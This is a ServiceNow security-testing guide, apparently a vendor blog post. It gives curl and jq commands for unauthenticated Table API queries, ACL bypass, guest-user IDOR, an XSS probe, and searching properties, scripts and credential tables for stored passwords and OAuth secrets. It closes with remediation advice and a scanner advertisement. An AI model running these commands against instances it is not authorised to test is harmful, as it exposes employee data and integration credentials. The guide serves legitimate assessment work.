ServiceNow Security Testing: ACL Bypass, REST API Table Access, and Admin Credential Exposure

ServiceNow is the enterprise ITSM backbone for thousands of large organizations — containing incident tickets, change requests, employee HR data, IT asset inventories, and integration credentials. A misconfigured ServiceNow instance can expose the entire organization's operational data. In 2022, AppOmni research revealed that misconfigured ACLs had exposed sensitive data across thousands of ServiceNow instances. This guide covers ACL bypass, REST API table enumeration, unauthenticated access, credential exposure in scripts, and guest user exploitation.

Table of Contents

  1. ServiceNow Instance Reconnaissance
  2. ACL Bypass and Data Exposure
  3. REST API Table Enumeration
  4. Guest User and Public Access Testing
  5. Credential Exposure in Scripts and Properties
  6. Scripted REST API Security
  7. Service Portal Attack Surface
  8. Integration Hub Credential Exposure
  9. Remediation and Hardening

ServiceNow Instance Reconnaissance

ServiceNow instances follow a predictable URL pattern: https://company.service-now.com. The platform exposes version information, user enumeration endpoints, and instance metadata that aid in scoping assessments.

# ServiceNow instance discovery
curl -s "https://company.service-now.com/" -I | grep -i "x-is-logged-in\|x-sn-\|server"

# Get ServiceNow instance version
curl -s "https://company.service-now.com/xmlhttp.do?sysparm_processor=SystemProperty&sysparm_scope=global&sysparm_name=glide.buildname" | grep -i value

# Alternative version detection
curl -s "https://company.service-now.com/stats.do" 2>/dev/null | grep -i "Build Name\|version"

# Enumerate exposed endpoints without authentication
ENDPOINTS=(
  "/login.do"
  "/navpage.do"
  "/xmlhttp.do"
  "/api/now/table/"
  "/sp"                    # Service Portal
  "/ess"                   # Employee Self Service
  "/consumer"              # Consumer portal
  "/$catalog.do"
)

for ep in "${ENDPOINTS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://company.service-now.com$ep")
  echo "$ep: HTTP $STATUS"
done

# Check if instance allows self-registration
curl -s "https://company.service-now.com/self_registration.do" -I | head -5

ACL Bypass and Data Exposure

ServiceNow's Access Control List (ACL) rules define who can read, write, create, and delete records. The 2022 AppOmni research found that many organizations had public-read ACLs on tables containing HR, financial, and IT asset data — allowing unauthenticated users to query sensitive records via the REST API.

2022 ServiceNow ACL Exposure: AppOmni research identified that publicly accessible ServiceNow instances had ACL rules configured with "Requires Authentication" set to false on sensitive tables, exposing employee data, incident details, and integration credentials to unauthenticated API requests.
# Test unauthenticated table API access
SN_HOST="https://company.service-now.com"

# Test if the table API is accessible without credentials
curl -s "$SN_HOST/api/now/table/sys_user?sysparm_limit=5&sysparm_fields=user_name,email,first_name,last_name" | \
  python3 -m json.tool

# Common sensitive tables to test for unauthenticated access
TABLES=(
  "sys_user"              # User directory
  "incident"              # Incident tickets
  "change_request"        # Change management
  "sc_request"            # Service catalog requests
  "cmdb_ci"               # Configuration items (IT assets)
  "sys_properties"        # System properties (may contain credentials)
  "oauth_entity"          # OAuth credentials
  "discovery_credentials" # Discovery credentials
  "sys_script"            # Server-side scripts
  "sys_web_service"       # Web service integrations
  "ecc_agent"             # MID server configuration
)

for table in "${TABLES[@]}"; do
  RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
    "$SN_HOST/api/now/table/$table?sysparm_limit=1")
  echo "$table: HTTP $RESULT"
done

# Test XMLHTTP processor (legacy API, often less restricted)
curl -s "$SN_HOST/xmlhttp.do?sysparm_processor=GlideScriptableFilter&sysparm_table=sys_user&sysparm_query=" | head -100

ACL Testing with Credentials

# Authenticated ACL testing — check what a low-privilege user can access
SN_USER="lowpriv.user"
SN_PASS="password123"

# Basic auth for REST API
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_user?sysparm_limit=10&sysparm_fields=user_name,email,manager" | \
  python3 -m json.tool

# Test access to HR-sensitive tables
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sysapproval_approver?sysparm_limit=10" | jq '.result[].sysapproval.value'

# Test cross-domain data access (user in IT accessing HR data)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/hr_case?sysparm_limit=10&sysparm_fields=opened_by,subject,description" | \
  jq '.result | length'

# Check if sys_properties table is accessible (system credentials often stored here)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_properties?sysparm_query=nameSTARTSWITHglide&sysparm_limit=20&sysparm_fields=name,value" | \
  jq '.result[] | select(.value.display_value | contains("password"))' 2>/dev/null
        

REST API Table Enumeration

ServiceNow's Table API at /api/now/table/{tableName} provides CRUD access to virtually every database table. When authentication or ACLs are misconfigured, this becomes a direct path to all organizational data.

SN_HOST="https://company.service-now.com"
SN_USER="user@company.com"
SN_PASS="password"

# Enumerate all available tables via Schema API
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_db_object?sysparm_fields=name,label&sysparm_limit=1000" | \
  jq '.result[] | .name.display_value'

# Aggregate query to check record counts (data exposure scope)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/stats/sys_user?sysparm_count=true" | jq '.result.stats.count'

# Query with filters to extract targeted data
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_user?sysparm_query=active=true&sysparm_fields=user_name,email,sys_domain&sysparm_limit=500" | \
  jq '.result[] | {user: .user_name.display_value, email: .email.display_value}'

# Export table data in CSV format (often bypasses row-level restrictions)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/sys_user_list.do?CSV&sysparm_query=active=true&sysparm_fields=user_name,email,first_name,last_name"

# Download attachments without permission checks (common misconfiguration)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/attachment?sysparm_query=table_name=incident&sysparm_limit=10" | \
  jq '.result[] | {file_name: .file_name, download_link: .download_link}'

Guest User and Public Access Testing

ServiceNow Service Portal instances often have a guest user role that grants limited access. Misconfigured guest policies can allow unauthenticated users to query backend tables, submit requests on behalf of others, or access internal knowledge base articles.

# Test Service Portal guest access
curl -s "https://company.service-now.com/sp?sysparm_query=active=true" | \
  grep -i "login\|guest\|session"

# Test Guest user API access via Service Portal APIs
curl -s "https://company.service-now.com/api/sn_ui_list/lists/kb_knowledge?fields=short_description,text" | \
  jq '.result[].short_description' 2>/dev/null

# Check if knowledge base articles are publicly accessible
curl -s "https://company.service-now.com/kb_view.do?sysparm_article=KB0000001" | \
  grep -i "article\|content\|internal" | head -20

# Test catalog item submission without authentication
curl -s -X POST "https://company.service-now.com/api/sn_sc/servicecatalog/items/ITEM_SYS_ID/order_now" \
  -H "Content-Type: application/json" \
  -d '{"sysparm_quantity": "1", "variables": {}}' | jq .

# Guest user IDOR — access other users service requests
curl -s "https://company.service-now.com/api/now/table/sc_request?sysparm_limit=10" | jq '.result | length'

Credential Exposure in Scripts and Properties

ServiceNow administrators often store credentials in System Properties (sys_properties), script includes, and scheduled jobs. These are readable via the REST API to users with sufficient permissions — and sometimes to users without.

# Check sys_properties for stored credentials
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_properties?sysparm_query=nameSTARTSWITHmid.server&sysparm_fields=name,value&sysparm_limit=100" | \
  jq '.result[] | {name: .name.display_value, value: .value.display_value}'

# Look for integration credentials in properties
CRED_PATTERNS=("password" "secret" "token" "key" "credential" "api_key" "auth")
for pattern in "${CRED_PATTERNS[@]}"; do
  echo "=== Searching for: $pattern ==="
  curl -s -u "$SN_USER:$SN_PASS" \
    "$SN_HOST/api/now/table/sys_properties?sysparm_query=nameCONTAINS$pattern&sysparm_fields=name,value&sysparm_limit=20" | \
    jq '.result[] | {name: .name.display_value, value: .value.display_value}'
done

# Check Discovery credentials table
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/discovery_credentials?sysparm_fields=name,type,order&sysparm_limit=50" | \
  jq '.result[] | {name: .name.display_value, type: .type.display_value}'

# Enumerate MID server configurations (often contain domain credentials)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/ecc_agent?sysparm_fields=name,host,status&sysparm_limit=20" | \
  jq '.result[] | {name: .name.display_value, host: .host.display_value}'

# Script Include review — look for hardcoded credentials
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_script_include?sysparm_query=active=true&sysparm_fields=name,script&sysparm_limit=10" | \
  jq '.result[].script.display_value' | grep -i "password\|secret\|token"

Scripted REST API Security

ServiceNow allows developers to create custom REST APIs via Scripted REST API resources. These custom APIs often bypass standard ACL checks because developers rely on the script logic for authorization rather than the platform's built-in controls.

# Enumerate Scripted REST APIs
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_ws_definition?sysparm_fields=name,base_uri,active&sysparm_limit=50" | \
  jq '.result[] | {name: .name.display_value, uri: .base_uri.display_value}'

# Test each scripted REST API endpoint
# Base URL pattern: /api/{namespace}/{api_name}/{resource}
curl -s "https://company.service-now.com/api/company/employee_portal/users" | jq .
curl -s "https://company.service-now.com/api/company/asset_api/search?q=server" | jq .

# Test for IDOR in scripted REST resources
# Iterate record sys_ids
for id in "abc123" "def456" "ghi789"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://company.service-now.com/api/company/my_api/record/$id")
  echo "Record $id: HTTP $STATUS"
done

# Check for unauthenticated scripted REST access
curl -s "https://company.service-now.com/api/company/public_endpoint/data" | jq '.result | length'

Service Portal Attack Surface

# Service Portal widget enumeration — widgets may expose data
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sp_widget?sysparm_fields=id,name,public&sysparm_query=public=true&sysparm_limit=50" | \
  jq '.result[] | {id: .id.display_value, name: .name.display_value}'

# Test Service Portal page access
curl -s "https://company.service-now.com/sp?id=sc_home" | grep -i "session\|user\|role"

# Check if internal pages are accessible via URL parameter manipulation
curl -s "https://company.service-now.com/sp?id=ticket&sys_id=INCIDENT_SYS_ID" | \
  grep -i "number\|description\|caller"

# Widget server script testing — client-callable functions
# Intercepting widget data calls with Burp Suite and testing parameter injection
# POST /api/now/sp/widget with tampered sys_id or table parameters

# Check for XSS in portal search
curl -s "https://company.service-now.com/sp?id=search&q=test%3Cscript%3Ealert(1)%3C/script%3E" | \
  grep -i "script"

Integration Hub Credential Exposure

# Integration Hub stores credentials for external system connections
# MID Server user passwords, REST API keys, OAuth tokens

# Enumerate connection and credential aliases
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_alias?sysparm_fields=name,type,credential&sysparm_limit=50" | \
  jq '.result[] | {name: .name.display_value, type: .type.display_value}'

# Check credential store (Connection & Credentials Manager)
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_connection_credential?sysparm_fields=name,type&sysparm_limit=20" | \
  jq '.result[] | {name: .name.display_value, type: .type.display_value}'

# OAuth entity providers — may contain client secrets
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/oauth_entity?sysparm_fields=name,client_id,type&sysparm_limit=20" | \
  jq '.result[] | {name: .name.display_value, client_id: .client_id.display_value}'

# Check REST message functions for hardcoded credentials
curl -s -u "$SN_USER:$SN_PASS" \
  "$SN_HOST/api/now/table/sys_rest_message?sysparm_fields=name,endpoint&sysparm_limit=20" | \
  jq '.result[] | {name: .name.display_value, endpoint: .endpoint.display_value}'

Remediation and Hardening

Finding Risk Remediation
Public ACLs on sensitive tables Critical Audit all table ACLs; require authentication for all non-public tables; use ACL Analyzer
Unauthenticated Table API access Critical Enable "Require authentication" on all ACL rules; disable guest access to table API
Credentials in sys_properties High Migrate to Connection & Credentials Manager; use encrypted credentials store
Scripted REST APIs without auth High Add explicit authentication checks; use ServiceNow's built-in require_roles() in scripts
Guest user over-permissioned High Minimize guest role permissions; audit all ACLs for guest role access
IDOR in table API Medium Implement row-level ACLs; use data isolation domains; enable strict record ownership
Exposed knowledge base Medium Set knowledge base articles to appropriate user criteria; audit public articles
MID server credential exposure High Restrict Discovery Credentials table access to admins; rotate all MID server credentials

ServiceNow Security Hardening Checklist

  • Run the ServiceNow ACL Analyzer tool and remediate public-read findings
  • Enable IP allowlisting for admin access
  • Configure SSO with MFA via your identity provider
  • Disable "Allow access to foreign domains without login" in Instance Security Center
  • Review and restrict all script includes to minimum required scope
  • Enable ServiceNow Instance Security Center and address all findings
  • Migrate integration credentials to the encrypted Credentials Manager
  • Restrict Table API access with strict authentication requirements
  • Implement user domain separation for multi-tenant environments
  • Configure proper high security plugin settings
  • Audit and restrict scripted REST API endpoints
  • Enable login audit for all failed authentication attempts
Automated Assessment: Ironimo can automatically discover exposed ServiceNow API endpoints, test ACL configurations, and identify unauthenticated data access paths — giving your security team a complete picture of ServiceNow exposure without manual scripting.

Assess Your ServiceNow Security Posture

Ironimo's Kali Linux-powered scanner automatically identifies ServiceNow ACL misconfigurations, exposed Table API endpoints, and guest user access vulnerabilities. Get your ServiceNow security assessment in minutes.

Start free scan